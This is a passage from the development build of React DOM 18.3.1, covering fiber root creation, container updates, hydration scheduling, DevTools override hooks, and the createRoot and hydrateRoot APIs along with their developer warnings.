28656 this.finishedWork = null;
28657 this.timeoutHandle = noTimeout;
28658 this.context = null;
28659 this.pendingContext = null;
28660 this.callbackNode = null;
28661 this.callbackPriority = NoLane;
28662 this.eventTimes = createLaneMap(NoLanes);
28663 this.expirationTimes = createLaneMap(NoTimestamp);
28664 this.pendingLanes = NoLanes;
28665 this.suspendedLanes = NoLanes;
28666 this.pingedLanes = NoLanes;
28667 this.expiredLanes = NoLanes;
28668 this.mutableReadLanes = NoLanes;
28669 this.finishedLanes = NoLanes;
28670 this.entangledLanes = NoLanes;
28671 this.entanglements = createLaneMap(NoLanes);
28672 this.identifierPrefix = identifierPrefix;
28673 this.onRecoverableError = onRecoverableError;
28674
28675 {
28676 this.mutableSourceEagerHydrationData = null;
28677 }
28678
28679 {
28680 this.effectDuration = 0;
28681 this.passiveEffectDuration = 0;
28682 }
28683
28684 {
28685 this.memoizedUpdaters = new Set();
28686 var pendingUpdatersLaneMap = this.pendingUpdatersLaneMap = [];
28687
28688 for (var _i = 0; _i < TotalLanes; _i++) {
28689 pendingUpdatersLaneMap.push(new Set());
28690 }
28691 }
28692
28693 {
28694 switch (tag) {
28695 case ConcurrentRoot:
28696 this._debugRootType = hydrate ? 'hydrateRoot()' : 'createRoot()';
28697 break;
28698
28699 case LegacyRoot:
28700 this._debugRootType = hydrate ? 'hydrate()' : 'render()';
28701 break;
28702 }
28703 }
28704 }
28705
28706 function createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, // TODO: We have several of these arguments that are conceptually part of the
28707 // host config, but because they are passed in at runtime, we have to thread
28708 // them through the root constructor. Perhaps we should put them all into a
28709 // single type, like a DynamicHostConfig that is defined by the renderer.
28710 identifierPrefix, onRecoverableError, transitionCallbacks) {
28711 var root = new FiberRootNode(containerInfo, tag, hydrate, identifierPrefix, onRecoverableError);
28712 // stateNode is any.
28713
28714
28715 var uninitializedFiber = createHostRootFiber(tag, isStrictMode);
28716 root.current = uninitializedFiber;
28717 uninitializedFiber.stateNode = root;
28718
28719 {
28720 var _initialState = {
28721 element: initialChildren,
28722 isDehydrated: hydrate,
28723 cache: null,
28724 // not enabled yet
28725 transitions: null,
28726 pendingSuspenseBoundaries: null
28727 };
28728 uninitializedFiber.memoizedState = _initialState;
28729 }
28730
28731 initializeUpdateQueue(uninitializedFiber);
28732 return root;
28733 }
28734
28735 var ReactVersion = '18.3.1';
28736
28737 function createPortal(children, containerInfo, // TODO: figure out the API for cross-renderer implementation.
28738 implementation) {
28739 var key = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;
28740
28741 {
28742 checkKeyStringCoercion(key);
28743 }
28744
28745 return {
28746 // This tag allow us to uniquely identify this as a React Portal
28747 $$typeof: REACT_PORTAL_TYPE,
28748 key: key == null ? null : '' + key,
28749 children: children,
28750 containerInfo: containerInfo,
28751 implementation: implementation
28752 };
28753 }
28754
28755 var didWarnAboutNestedUpdates;
28756 var didWarnAboutFindNodeInStrictMode;
28757
28758 {
28759 didWarnAboutNestedUpdates = false;
28760 didWarnAboutFindNodeInStrictMode = {};
28761 }
28762
28763 function getContextForSubtree(parentComponent) {
28764 if (!parentComponent) {
28765 return emptyContextObject;
28766 }
28767
28768 var fiber = get(parentComponent);
28769 var parentContext = findCurrentUnmaskedContext(fiber);
28770
28771 if (fiber.tag === ClassComponent) {
28772 var Component = fiber.type;
28773
28774 if (isContextProvider(Component)) {
28775 return processChildContext(fiber, Component, parentContext);
28776 }
28777 }
28778
28779 return parentContext;
28780 }
28781
28782 function findHostInstanceWithWarning(component, methodName) {
28783 {
28784 var fiber = get(component);
28785
28786 if (fiber === undefined) {
28787 if (typeof component.render === 'function') {
28788 throw new Error('Unable to find node on an unmounted component.');
28789 } else {
28790 var keys = Object.keys(component).join(',');
28791 throw new Error("Argument appears to not be a ReactComponent. Keys: " + keys);
28792 }
28793 }
28794
28795 var hostFiber = findCurrentHostFiber(fiber);
28796
28797 if (hostFiber === null) {
28798 return null;
28799 }
28800
28801 if (hostFiber.mode & StrictLegacyMode) {
28802 var componentName = getComponentNameFromFiber(fiber) || 'Component';
28803
28804 if (!didWarnAboutFindNodeInStrictMode[componentName]) {
28805 didWarnAboutFindNodeInStrictMode[componentName] = true;
28806 var previousFiber = current;
28807
28808 try {
28809 setCurrentFiber(hostFiber);
28810
28811 if (fiber.mode & StrictLegacyMode) {
28812 error('%s is deprecated in StrictMode. ' + '%s was passed an instance of %s which is inside StrictMode. ' + 'Instead, add a ref directly to the element you want to reference. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node', methodName, methodName, componentName);
28813 } else {
28814 error('%s is deprecated in StrictMode. ' + '%s was passed an instance of %s which renders StrictMode children. ' + 'Instead, add a ref directly to the element you want to reference. ' + 'Learn more about using refs safely here: ' + 'https://reactjs.org/link/strict-mode-find-node', methodName, methodName, componentName);
28815 }
28816 } finally {
28817 // Ideally this should reset to previous but this shouldn't be called in
28818 // render and there's another warning for that anyway.
28819 if (previousFiber) {
28820 setCurrentFiber(previousFiber);
28821 } else {
28822 resetCurrentFiber();
28823 }
28824 }
28825 }
28826 }
28827
28828 return hostFiber.stateNode;
28829 }
28830 }
28831
28832 function createContainer(containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
28833 var hydrate = false;
28834 var initialChildren = null;
28835 return createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
28836 }
28837 function createHydrationContainer(initialChildren, // TODO: Remove `callback` when we delete legacy mode.
28838 callback, containerInfo, tag, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError, transitionCallbacks) {
28839 var hydrate = true;
28840 var root = createFiberRoot(containerInfo, tag, hydrate, initialChildren, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError); // TODO: Move this to FiberRoot constructor
28841
28842 root.context = getContextForSubtree(null); // Schedule the initial render. In a hydration root, this is different from
28843 // a regular update because the initial render must match was was rendered
28844 // on the server.
28845 // NOTE: This update intentionally doesn't have a payload. We're only using
28846 // the update to schedule work on the root fiber (and, for legacy roots, to
28847 // enqueue the callback if one is provided).
28848
28849 var current = root.current;
28850 var eventTime = requestEventTime();
28851 var lane = requestUpdateLane(current);
28852 var update = createUpdate(eventTime, lane);
28853 update.callback = callback !== undefined && callback !== null ? callback : null;
28854 enqueueUpdate(current, update, lane);
28855 scheduleInitialHydrationOnRoot(root, lane, eventTime);
28856 return root;
28857 }
28858 function updateContainer(element, container, parentComponent, callback) {
28859 {
28860 onScheduleRoot(container, element);
28861 }
28862
28863 var current$1 = container.current;
28864 var eventTime = requestEventTime();
28865 var lane = requestUpdateLane(current$1);
28866
28867 {
28868 markRenderScheduled(lane);
28869 }
28870
28871 var context = getContextForSubtree(parentComponent);
28872
28873 if (container.context === null) {
28874 container.context = context;
28875 } else {
28876 container.pendingContext = context;
28877 }
28878
28879 {
28880 if (isRendering && current !== null && !didWarnAboutNestedUpdates) {
28881 didWarnAboutNestedUpdates = true;
28882
28883 error('Render methods should be a pure function of props and state; ' + 'triggering nested component updates from render is not allowed. ' + 'If necessary, trigger nested updates in componentDidUpdate.\n\n' + 'Check the render method of %s.', getComponentNameFromFiber(current) || 'Unknown');
28884 }
28885 }
28886
28887 var update = createUpdate(eventTime, lane); // Caution: React DevTools currently depends on this property
28888 // being called "element".
28889
28890 update.payload = {
28891 element: element
28892 };
28893 callback = callback === undefined ? null : callback;
28894
28895 if (callback !== null) {
28896 {
28897 if (typeof callback !== 'function') {
28898 error('render(...): Expected the last optional `callback` argument to be a ' + 'function. Instead received: %s.', callback);
28899 }
28900 }
28901
28902 update.callback = callback;
28903 }
28904
28905 var root = enqueueUpdate(current$1, update, lane);
28906
28907 if (root !== null) {
28908 scheduleUpdateOnFiber(root, current$1, lane, eventTime);
28909 entangleTransitions(root, current$1, lane);
28910 }
28911
28912 return lane;
28913 }
28914 function getPublicRootInstance(container) {
28915 var containerFiber = container.current;
28916
28917 if (!containerFiber.child) {
28918 return null;
28919 }
28920
28921 switch (containerFiber.child.tag) {
28922 case HostComponent:
28923 return getPublicInstance(containerFiber.child.stateNode);
28924
28925 default:
28926 return containerFiber.child.stateNode;
28927 }
28928 }
28929 function attemptSynchronousHydration$1(fiber) {
28930 switch (fiber.tag) {
28931 case HostRoot:
28932 {
28933 var root = fiber.stateNode;
28934
28935 if (isRootDehydrated(root)) {
28936 // Flush the first scheduled "update".
28937 var lanes = getHighestPriorityPendingLanes(root);
28938 flushRoot(root, lanes);
28939 }
28940
28941 break;
28942 }
28943
28944 case SuspenseComponent:
28945 {
28946 flushSync(function () {
28947 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
28948
28949 if (root !== null) {
28950 var eventTime = requestEventTime();
28951 scheduleUpdateOnFiber(root, fiber, SyncLane, eventTime);
28952 }
28953 }); // If we're still blocked after this, we need to increase
28954 // the priority of any promises resolving within this
28955 // boundary so that they next attempt also has higher pri.
28956
28957 var retryLane = SyncLane;
28958 markRetryLaneIfNotHydrated(fiber, retryLane);
28959 break;
28960 }
28961 }
28962 }
28963
28964 function markRetryLaneImpl(fiber, retryLane) {
28965 var suspenseState = fiber.memoizedState;
28966
28967 if (suspenseState !== null && suspenseState.dehydrated !== null) {
28968 suspenseState.retryLane = higherPriorityLane(suspenseState.retryLane, retryLane);
28969 }
28970 } // Increases the priority of thenables when they resolve within this boundary.
28971
28972
28973 function markRetryLaneIfNotHydrated(fiber, retryLane) {
28974 markRetryLaneImpl(fiber, retryLane);
28975 var alternate = fiber.alternate;
28976
28977 if (alternate) {
28978 markRetryLaneImpl(alternate, retryLane);
28979 }
28980 }
28981 function attemptContinuousHydration$1(fiber) {
28982 if (fiber.tag !== SuspenseComponent) {
28983 // We ignore HostRoots here because we can't increase
28984 // their priority and they should not suspend on I/O,
28985 // since you have to wrap anything that might suspend in
28986 // Suspense.
28987 return;
28988 }
28989
28990 var lane = SelectiveHydrationLane;
28991 var root = enqueueConcurrentRenderForLane(fiber, lane);
28992
28993 if (root !== null) {
28994 var eventTime = requestEventTime();
28995 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
28996 }
28997
28998 markRetryLaneIfNotHydrated(fiber, lane);
28999 }
29000 function attemptHydrationAtCurrentPriority$1(fiber) {
29001 if (fiber.tag !== SuspenseComponent) {
29002 // We ignore HostRoots here because we can't increase
29003 // their priority other than synchronously flush it.
29004 return;
29005 }
29006
29007 var lane = requestUpdateLane(fiber);
29008 var root = enqueueConcurrentRenderForLane(fiber, lane);
29009
29010 if (root !== null) {
29011 var eventTime = requestEventTime();
29012 scheduleUpdateOnFiber(root, fiber, lane, eventTime);
29013 }
29014
29015 markRetryLaneIfNotHydrated(fiber, lane);
29016 }
29017 function findHostInstanceWithNoPortals(fiber) {
29018 var hostFiber = findCurrentHostFiberWithNoPortals(fiber);
29019
29020 if (hostFiber === null) {
29021 return null;
29022 }
29023
29024 return hostFiber.stateNode;
29025 }
29026
29027 var shouldErrorImpl = function (fiber) {
29028 return null;
29029 };
29030
29031 function shouldError(fiber) {
29032 return shouldErrorImpl(fiber);
29033 }
29034
29035 var shouldSuspendImpl = function (fiber) {
29036 return false;
29037 };
29038
29039 function shouldSuspend(fiber) {
29040 return shouldSuspendImpl(fiber);
29041 }
29042 var overrideHookState = null;
29043 var overrideHookStateDeletePath = null;
29044 var overrideHookStateRenamePath = null;
29045 var overrideProps = null;
29046 var overridePropsDeletePath = null;
29047 var overridePropsRenamePath = null;
29048 var scheduleUpdate = null;
29049 var setErrorHandler = null;
29050 var setSuspenseHandler = null;
29051
29052 {
29053 var copyWithDeleteImpl = function (obj, path, index) {
29054 var key = path[index];
29055 var updated = isArray(obj) ? obj.slice() : assign({}, obj);
29056
29057 if (index + 1 === path.length) {
29058 if (isArray(updated)) {
29059 updated.splice(key, 1);
29060 } else {
29061 delete updated[key];
29062 }
29063
29064 return updated;
29065 } // $FlowFixMe number or string is fine here
29066
29067
29068 updated[key] = copyWithDeleteImpl(obj[key], path, index + 1);
29069 return updated;
29070 };
29071
29072 var copyWithDelete = function (obj, path) {
29073 return copyWithDeleteImpl(obj, path, 0);
29074 };
29075
29076 var copyWithRenameImpl = function (obj, oldPath, newPath, index) {
29077 var oldKey = oldPath[index];
29078 var updated = isArray(obj) ? obj.slice() : assign({}, obj);
29079
29080 if (index + 1 === oldPath.length) {
29081 var newKey = newPath[index]; // $FlowFixMe number or string is fine here
29082
29083 updated[newKey] = updated[oldKey];
29084
29085 if (isArray(updated)) {
29086 updated.splice(oldKey, 1);
29087 } else {
29088 delete updated[oldKey];
29089 }
29090 } else {
29091 // $FlowFixMe number or string is fine here
29092 updated[oldKey] = copyWithRenameImpl( // $FlowFixMe number or string is fine here
29093 obj[oldKey], oldPath, newPath, index + 1);
29094 }
29095
29096 return updated;
29097 };
29098
29099 var copyWithRename = function (obj, oldPath, newPath) {
29100 if (oldPath.length !== newPath.length) {
29101 warn('copyWithRename() expects paths of the same length');
29102
29103 return;
29104 } else {
29105 for (var i = 0; i < newPath.length - 1; i++) {
29106 if (oldPath[i] !== newPath[i]) {
29107 warn('copyWithRename() expects paths to be the same except for the deepest key');
29108
29109 return;
29110 }
29111 }
29112 }
29113
29114 return copyWithRenameImpl(obj, oldPath, newPath, 0);
29115 };
29116
29117 var copyWithSetImpl = function (obj, path, index, value) {
29118 if (index >= path.length) {
29119 return value;
29120 }
29121
29122 var key = path[index];
29123 var updated = isArray(obj) ? obj.slice() : assign({}, obj); // $FlowFixMe number or string is fine here
29124
29125 updated[key] = copyWithSetImpl(obj[key], path, index + 1, value);
29126 return updated;
29127 };
29128
29129 var copyWithSet = function (obj, path, value) {
29130 return copyWithSetImpl(obj, path, 0, value);
29131 };
29132
29133 var findHook = function (fiber, id) {
29134 // For now, the "id" of stateful hooks is just the stateful hook index.
29135 // This may change in the future with e.g. nested hooks.
29136 var currentHook = fiber.memoizedState;
29137
29138 while (currentHook !== null && id > 0) {
29139 currentHook = currentHook.next;
29140 id--;
29141 }
29142
29143 return currentHook;
29144 }; // Support DevTools editable values for useState and useReducer.
29145
29146
29147 overrideHookState = function (fiber, id, path, value) {
29148 var hook = findHook(fiber, id);
29149
29150 if (hook !== null) {
29151 var newState = copyWithSet(hook.memoizedState, path, value);
29152 hook.memoizedState = newState;
29153 hook.baseState = newState; // We aren't actually adding an update to the queue,
29154 // because there is no update we can add for useReducer hooks that won't trigger an error.
29155 // (There's no appropriate action type for DevTools overrides.)
29156 // As a result though, React will see the scheduled update as a noop and bailout.
29157 // Shallow cloning props works as a workaround for now to bypass the bailout check.
29158
29159 fiber.memoizedProps = assign({}, fiber.memoizedProps);
29160 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29161
29162 if (root !== null) {
29163 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29164 }
29165 }
29166 };
29167
29168 overrideHookStateDeletePath = function (fiber, id, path) {
29169 var hook = findHook(fiber, id);
29170
29171 if (hook !== null) {
29172 var newState = copyWithDelete(hook.memoizedState, path);
29173 hook.memoizedState = newState;
29174 hook.baseState = newState; // We aren't actually adding an update to the queue,
29175 // because there is no update we can add for useReducer hooks that won't trigger an error.
29176 // (There's no appropriate action type for DevTools overrides.)
29177 // As a result though, React will see the scheduled update as a noop and bailout.
29178 // Shallow cloning props works as a workaround for now to bypass the bailout check.
29179
29180 fiber.memoizedProps = assign({}, fiber.memoizedProps);
29181 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29182
29183 if (root !== null) {
29184 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29185 }
29186 }
29187 };
29188
29189 overrideHookStateRenamePath = function (fiber, id, oldPath, newPath) {
29190 var hook = findHook(fiber, id);
29191
29192 if (hook !== null) {
29193 var newState = copyWithRename(hook.memoizedState, oldPath, newPath);
29194 hook.memoizedState = newState;
29195 hook.baseState = newState; // We aren't actually adding an update to the queue,
29196 // because there is no update we can add for useReducer hooks that won't trigger an error.
29197 // (There's no appropriate action type for DevTools overrides.)
29198 // As a result though, React will see the scheduled update as a noop and bailout.
29199 // Shallow cloning props works as a workaround for now to bypass the bailout check.
29200
29201 fiber.memoizedProps = assign({}, fiber.memoizedProps);
29202 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29203
29204 if (root !== null) {
29205 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29206 }
29207 }
29208 }; // Support DevTools props for function components, forwardRef, memo, host components, etc.
29209
29210
29211 overrideProps = function (fiber, path, value) {
29212 fiber.pendingProps = copyWithSet(fiber.memoizedProps, path, value);
29213
29214 if (fiber.alternate) {
29215 fiber.alternate.pendingProps = fiber.pendingProps;
29216 }
29217
29218 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29219
29220 if (root !== null) {
29221 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29222 }
29223 };
29224
29225 overridePropsDeletePath = function (fiber, path) {
29226 fiber.pendingProps = copyWithDelete(fiber.memoizedProps, path);
29227
29228 if (fiber.alternate) {
29229 fiber.alternate.pendingProps = fiber.pendingProps;
29230 }
29231
29232 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29233
29234 if (root !== null) {
29235 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29236 }
29237 };
29238
29239 overridePropsRenamePath = function (fiber, oldPath, newPath) {
29240 fiber.pendingProps = copyWithRename(fiber.memoizedProps, oldPath, newPath);
29241
29242 if (fiber.alternate) {
29243 fiber.alternate.pendingProps = fiber.pendingProps;
29244 }
29245
29246 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29247
29248 if (root !== null) {
29249 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29250 }
29251 };
29252
29253 scheduleUpdate = function (fiber) {
29254 var root = enqueueConcurrentRenderForLane(fiber, SyncLane);
29255
29256 if (root !== null) {
29257 scheduleUpdateOnFiber(root, fiber, SyncLane, NoTimestamp);
29258 }
29259 };
29260
29261 setErrorHandler = function (newShouldErrorImpl) {
29262 shouldErrorImpl = newShouldErrorImpl;
29263 };
29264
29265 setSuspenseHandler = function (newShouldSuspendImpl) {
29266 shouldSuspendImpl = newShouldSuspendImpl;
29267 };
29268 }
29269
29270 function findHostInstanceByFiber(fiber) {
29271 var hostFiber = findCurrentHostFiber(fiber);
29272
29273 if (hostFiber === null) {
29274 return null;
29275 }
29276
29277 return hostFiber.stateNode;
29278 }
29279
29280 function emptyFindFiberByHostInstance(instance) {
29281 return null;
29282 }
29283
29284 function getCurrentFiberForDevTools() {
29285 return current;
29286 }
29287
29288 function injectIntoDevTools(devToolsConfig) {
29289 var findFiberByHostInstance = devToolsConfig.findFiberByHostInstance;
29290 var ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;
29291 return injectInternals({
29292 bundleType: devToolsConfig.bundleType,
29293 version: devToolsConfig.version,
29294 rendererPackageName: devToolsConfig.rendererPackageName,
29295 rendererConfig: devToolsConfig.rendererConfig,
29296 overrideHookState: overrideHookState,
29297 overrideHookStateDeletePath: overrideHookStateDeletePath,
29298 overrideHookStateRenamePath: overrideHookStateRenamePath,
29299 overrideProps: overrideProps,
29300 overridePropsDeletePath: overridePropsDeletePath,
29301 overridePropsRenamePath: overridePropsRenamePath,
29302 setErrorHandler: setErrorHandler,
29303 setSuspenseHandler: setSuspenseHandler,
29304 scheduleUpdate: scheduleUpdate,
29305 currentDispatcherRef: ReactCurrentDispatcher,
29306 findHostInstanceByFiber: findHostInstanceByFiber,
29307 findFiberByHostInstance: findFiberByHostInstance || emptyFindFiberByHostInstance,
29308 // React Refresh
29309 findHostInstancesForRefresh: findHostInstancesForRefresh ,
29310 scheduleRefresh: scheduleRefresh ,
29311 scheduleRoot: scheduleRoot ,
29312 setRefreshHandler: setRefreshHandler ,
29313 // Enables DevTools to append owner stacks to error messages in DEV mode.
29314 getCurrentFiber: getCurrentFiberForDevTools ,
29315 // Enables DevTools to detect reconciler version rather than renderer version
29316 // which may not match for third party renderers.
29317 reconcilerVersion: ReactVersion
29318 });
29319 }
29320
29321 /* global reportError */
29322
29323 var defaultOnRecoverableError = typeof reportError === 'function' ? // In modern browsers, reportError will dispatch an error event,
29324 // emulating an uncaught JavaScript error.
29325 reportError : function (error) {
29326 // In older browsers and test environments, fallback to console.error.
29327 // eslint-disable-next-line react-internal/no-production-logging
29328 console['error'](error);
29329 };
29330
29331 function ReactDOMRoot(internalRoot) {
29332 this._internalRoot = internalRoot;
29333 }
29334
29335 ReactDOMHydrationRoot.prototype.render = ReactDOMRoot.prototype.render = function (children) {
29336 var root = this._internalRoot;
29337
29338 if (root === null) {
29339 throw new Error('Cannot update an unmounted root.');
29340 }
29341
29342 {
29343 if (typeof arguments[1] === 'function') {
29344 error('render(...): does not support the second callback argument. ' + 'To execute a side effect after rendering, declare it in a component body with useEffect().');
29345 } else if (isValidContainer(arguments[1])) {
29346 error('You passed a container to the second argument of root.render(...). ' + "You don't need to pass it again since you already passed it to create the root.");
29347 } else if (typeof arguments[1] !== 'undefined') {
29348 error('You passed a second argument to root.render(...) but it only accepts ' + 'one argument.');
29349 }
29350
29351 var container = root.containerInfo;
29352
29353 if (container.nodeType !== COMMENT_NODE) {
29354 var hostInstance = findHostInstanceWithNoPortals(root.current);
29355
29356 if (hostInstance) {
29357 if (hostInstance.parentNode !== container) {
29358 error('render(...): It looks like the React-rendered content of the ' + 'root container was removed without using React. This is not ' + 'supported and will cause errors. Instead, call ' + "root.unmount() to empty a root's container.");
29359 }
29360 }
29361 }
29362 }
29363
29364 updateContainer(children, root, null, null);
29365 };
29366
29367 ReactDOMHydrationRoot.prototype.unmount = ReactDOMRoot.prototype.unmount = function () {
29368 {
29369 if (typeof arguments[0] === 'function') {
29370 error('unmount(...): does not support a callback argument. ' + 'To execute a side effect after rendering, declare it in a component body with useEffect().');
29371 }
29372 }
29373
29374 var root = this._internalRoot;
29375
29376 if (root !== null) {
29377 this._internalRoot = null;
29378 var container = root.containerInfo;
29379
29380 {
29381 if (isAlreadyRendering()) {
29382 error('Attempted to synchronously unmount a root while React was already ' + 'rendering. React cannot finish unmounting the root until the ' + 'current render has completed, which may lead to a race condition.');
29383 }
29384 }
29385
29386 flushSync(function () {
29387 updateContainer(null, root, null, null);
29388 });
29389 unmarkContainerAsRoot(container);
29390 }
29391 };
29392
29393 function createRoot(container, options) {
29394 if (!isValidContainer(container)) {
29395 throw new Error('createRoot(...): Target container is not a DOM element.');
29396 }
29397
29398 warnIfReactDOMContainerInDEV(container);
29399 var isStrictMode = false;
29400 var concurrentUpdatesByDefaultOverride = false;
29401 var identifierPrefix = '';
29402 var onRecoverableError = defaultOnRecoverableError;
29403 var transitionCallbacks = null;
29404
29405 if (options !== null && options !== undefined) {
29406 {
29407 if (options.hydrate) {
29408 warn('hydrate through createRoot is deprecated. Use ReactDOMClient.hydrateRoot(container, <App />) instead.');
29409 } else {
29410 if (typeof options === 'object' && options !== null && options.$$typeof === REACT_ELEMENT_TYPE) {
29411 error('You passed a JSX element to createRoot. You probably meant to ' + 'call root.render instead. ' + 'Example usage:\n\n' + ' let root = createRoot(domContainer);\n' + ' root.render(<App />);');
29412 }
29413 }
29414 }
29415
29416 if (options.unstable_strictMode === true) {
29417 isStrictMode = true;
29418 }
29419
29420 if (options.identifierPrefix !== undefined) {
29421 identifierPrefix = options.identifierPrefix;
29422 }
29423
29424 if (options.onRecoverableError !== undefined) {
29425 onRecoverableError = options.onRecoverableError;
29426 }
29427
29428 if (options.transitionCallbacks !== undefined) {
29429 transitionCallbacks = options.transitionCallbacks;
29430 }
29431 }
29432
29433 var root = createContainer(container, ConcurrentRoot, null, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
29434 markContainerAsRoot(root.current, container);
29435 var rootContainerElement = container.nodeType === COMMENT_NODE ? container.parentNode : container;
29436 listenToAllSupportedEvents(rootContainerElement);
29437 return new ReactDOMRoot(root);
29438 }
29439
29440 function ReactDOMHydrationRoot(internalRoot) {
29441 this._internalRoot = internalRoot;
29442 }
29443
29444 function scheduleHydration(target) {
29445 if (target) {
29446 queueExplicitHydrationTarget(target);
29447 }
29448 }
29449
29450 ReactDOMHydrationRoot.prototype.unstable_scheduleHydration = scheduleHydration;
29451 function hydrateRoot(container, initialChildren, options) {
29452 if (!isValidContainer(container)) {
29453 throw new Error('hydrateRoot(...): Target container is not a DOM element.');
29454 }
29455
29456 warnIfReactDOMContainerInDEV(container);
29457
29458 {
29459 if (initialChildren === undefined) {
29460 error('Must provide initial children as second argument to hydrateRoot. ' + 'Example usage: hydrateRoot(domContainer, <App />)');
29461 }
29462 } // For now we reuse the whole bag of options since they contain
29463 // the hydration callbacks.
29464
29465
29466 var hydrationCallbacks = options != null ? options : null; // TODO: Delete this option
29467
29468 var mutableSources = options != null && options.hydratedSources || null;
29469 var isStrictMode = false;
29470 var concurrentUpdatesByDefaultOverride = false;
29471 var identifierPrefix = '';
29472 var onRecoverableError = defaultOnRecoverableError;
29473
29474 if (options !== null && options !== undefined) {
29475 if (options.unstable_strictMode === true) {
29476 isStrictMode = true;
29477 }
29478
29479 if (options.identifierPrefix !== undefined) {
29480 identifierPrefix = options.identifierPrefix;
29481 }
29482
29483 if (options.onRecoverableError !== undefined) {
29484 onRecoverableError = options.onRecoverableError;
29485 }
29486 }
29487
29488 var root = createHydrationContainer(initialChildren, null, container, ConcurrentRoot, hydrationCallbacks, isStrictMode, concurrentUpdatesByDefaultOverride, identifierPrefix, onRecoverableError);
29489 markContainerAsRoot(root.current, container); // This can't be a comment node since hydration doesn't work on comment nodes anyway.
29490
29491 listenToAllSupportedEvents(container);
29492
29493 if (mutableSources) {
29494 for (var i = 0; i < mutableSources.length; i++) {
29495 var mutableSource = mutableSources[i];
29496 registerMutableSourceForHydration(root, mutableSource);
29497 }
29498 }
29499
29500 return new ReactDOMHydrationRoot(root);
29501 }
29502 function isValidContainer(node) {
29503 return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || !disableCommentsAsDOMContainers ));
29504 } // TODO: Remove this function which also includes comment nodes.
29505 // We only use it in places that are currently more relaxed.
29506
29507 function isValidContainerLegacy(node) {
29508 return !!(node && (node.nodeType === ELEMENT_NODE || node.nodeType === DOCUMENT_NODE || node.nodeType === DOCUMENT_FRAGMENT_NODE || node.nodeType === COMMENT_NODE && node.nodeValue === ' react-mount-point-unstable '));
29509 }
29510
29511 function warnIfReactDOMContainerInDEV(container) {
29512 {
29513 if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === 'BODY') {
29514 error('createRoot(): Creating roots directly with document.body is ' + 'discouraged, since its children are often manipulated by third-party ' + 'scripts and browser extensions. This may lead to subtle ' + 'reconciliation issues. Try using a container element created ' + 'for your app.');
29515 }
29516
29517 if (isContainerMarkedAsRoot(container)) {
29518 if (container._reactRootContainer) {
29519 error('You are calling ReactDOMClient.createRoot() on a container that was previously ' + 'passed to ReactDOM.render(). This is not supported.');
29520 } else {
29521 error('You are calling ReactDOMClient.createRoot() on a container that ' + 'has already been passed to createRoot() before. Instead, call ' + 'root.render() on the existing root instead if you want to update it.');
29522 }
29523 }
29524 }
29525 }
29526
29527 var ReactCurrentOwner$3 = ReactSharedInternals.ReactCurrentOwner;
29528 var topLevelUpdateWarnings;
29529
29530 {
29531 topLevelUpdateWarnings = function (container) {
29532 if (container._reactRootContainer && container.nodeType !== COMMENT_NODE) {
29533 var hostInstance = findHostInstanceWithNoPortals(container._reactRootContainer.current);
29534
29535 if (hostInstance) {
29536 if (hostInstance.parentNode !== container) {
29537 error('render(...): It looks like the React-rendered content of this ' + 'container was removed without using React. This is not ' + 'supported and will cause errors. Instead, call ' + 'ReactDOM.unmountComponentAtNode to empty a container.');
29538 }
29539 }
29540 }
29541
29542 var isRootRenderedBySomeReact = !!container._reactRootContainer;
29543 var rootEl = getReactRootElementInContainer(container);
29544 var hasNonRootReactChild = !!(rootEl && getInstanceFromNode(rootEl));
29545
29546 if (hasNonRootReactChild && !isRootRenderedBySomeReact) {
29547 error('render(...): Replacing React-rendered children with a new root ' + 'component. If you intended to update the children of this node, ' + 'you should instead have the existing children update their state ' + 'and render the new components instead of calling ReactDOM.render.');
29548 }
29549
29550 if (container.nodeType === ELEMENT_NODE && container.tagName && container.tagName.toUpperCase() === 'BODY') {
29551 error('render(): Rendering components directly into document.body is ' + 'discouraged, since its children are often manipulated by third-party ' + 'scripts and browser extensions. This may lead to subtle ' + 'reconciliation issues. Try rendering into a container element created ' + 'for your app.');
29552 }
29553 };
29554 }
29555
29556 function getReactRootElementInContainer(container) {
29557 if (!container) {
29558 return null;
29559 }
29560
29561 if (container.nodeType === DOCUMENT_NODE) {
29562 return container.documentElement;
29563 } else {
29564 return container.firstChild;
29565 }
29566 }
29567
29568 function noopOnRecoverableError() {// This isn't reachable because onRecoverableError isn't called in the
29569 // legacy API.
29570 }
29571
29572 function legacyCreateRootFromDOMContainer(container, initialChildren, parentComponent, callback, isHydrationContainer) {
29573 if (isHydrationContainer) {
29574 if (typeof callback === 'function') {
29575 var originalCallback = callback;
29576
29577 callback = function () {
29578 var instance = getPublicRootInstance(root);
29579 originalCallback.call(instance);
29580 };
29581 }
29582
29583 var root = createHydrationContainer(initialChildren, callback, container, LegacyRoot, null, // hydrationCallbacks
29584 false, // isStrictMode
